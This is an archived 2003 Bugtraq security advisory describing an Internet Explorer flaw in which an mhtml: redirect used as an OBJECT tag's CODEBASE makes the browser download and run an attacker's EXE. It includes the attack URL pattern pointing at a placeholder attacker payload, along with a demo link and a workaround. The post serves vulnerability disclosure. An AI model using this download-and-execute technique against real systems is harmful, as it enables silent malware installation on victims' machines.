MHTML Redirection Leads to Downloading EXE and Executing

From: Liu Die Yu (liudieyuinchina_at_yahoo.com.cn)
Date: 11/25/03

  • Next message: Liu Die Yu: "Invalid ContentType may disclose cache directory" 
    Date: 25 Nov 2003 09:51:13 -0000
To: bugtraq@securityfocus.com
    ('binary' encoding is not supported, stored as-is)

    MHTML Redirection Leads to Downloading EXE and Executing

    [tested]
    OS:Win2k3,CN version
    IE: with MS03-048 installed.

    OS:WinXp, CN version
    Microsoft Internet Explorer v6.Sp1; up-to-date on 2003/11/16

    [overview]
    A vulnerability in Internet Explorer is found: any attacker that can reach MYCOMPUTER security zone(a.k.a local zone) is able to download his EXE file and execute it.

    [demo]
    There is a harmless demo:
    http://www.safecenter.net/UMBRELLAWEBV4/MhtRedirLaunchInetExe/MhtRedirLaunchInetExe-Demo.zip

    [technical details]
    There is a feature in Internet Explorer when it tries to retrieve a file embedded in an MHT file, like:
    mhtml:[Mhtml_File_Url]![Original_Resource_Url]
    If [Original_Resource_Url] cannot be retrieved from [Mhtml_File_Url], IE will try to download [Original_Resource_Url] and return the downloaded content.

    It's like as HTTP redirection.

    And CODEBASE execution is a URL-based security check.
    (Liu Die Yu's http://continue.to/trie )

    So, in MYCOMPUTER security, point CODEBASE property of an OBJECT tag with unused CLSID to:
    mhtml:file:///C:\No_SUCH_MHT.MHT![Attaker_PayloadEXE_Url]
    and then, IE will download [Attaker_PayloadEXE_Url] and execute it.

    [Workaround]
    Disable Active Scripting in INTERNET zone.

    [Greetings]
    greetings to:
    Drew Copley, dror, guninski and mkill.

    -----
    all mentioned resources can always be found at UMBRELLA.MX.TC

    [people]
    LiuDieyuinchina [N0-@-Sp2m] yahoo.com.cn
    UMBRELLA.MX.TC ==> How to contact "Liu Die Yu"

    [message]
    A wise man learns from other's mistakes; a fool learns from his own.

    [Employment]
    I would like to work professionally as a security researcher/bug finder.

    See my resume at my site. I am very eager to work, flexible, and
    extremely productive. I have a top notch resume, with credentials
    from leading bug finders. I am willing to work per contract, relocate,
    or telecommute.
     
    [Give a Hand]
    I haven't got a job as a security researcher yet and my family don't support my security work - so, I don't have a computer of my own. Please consider about donating at:
    http://clik.to/donatepc

  • Next message: Liu Die Yu: "Invalid ContentType may disclose cache directory"

    Relevant Pages

    • Re: Backdoor.Lateda.C
      ... | from connecting to the internet. ... Download CLEAN.EXE from the URL -- ... DOS disk boot images can be obtained from; ... Execute; CLEAN.EXE ...
      (microsoft.public.security.virus)
    • RE: Smiley central Active X controls
      ... security setting was selected. ... It still will not allow me to download ... Does NOT monitor behavior on the Internet ... Why some spyware services may mistake Fun Web Products and its MyWebSearch ...
      (microsoft.public.windowsxp.help_and_support)
    • Re: mirosoft say this but their product says cant do
      ... In Internet Explorer, click Tools, and then click Internet Options. ... You mean you can't actually look at the screen to see the option right there that says "Require server verification on all sites in this zone". ... The option only needs to be disabled while you enter the URL string, so you can leave it off or turn it back on after you are done adding the URLs that you want to add to that security zone. ... If you don't like the big blob in the middle of the browser window asking if you want to allow the download then configure the security settings so just the yellow Infobar shows up under the normal toolbars. ...
      (microsoft.public.windowsxp.general)
    • Not able to connect to Secure Websites
      ... Security to download updates, play online music etc. ... In the Security section of Internet Options, ... SSL and SSL 3.0 are checked ...
      (microsoft.public.windows.inetexplorer.ie6.browser)
    • Re: Critical Update - tips
      ... > I have same problem - unable to download recent Critical ... Recheck your Security & Privacy settings AND the ADVANCED settings in I.E. ... In Internet Explorer> Tools, click Internet Options, and then click Languages.... ...
      (microsoft.public.windowsxp.security_admin)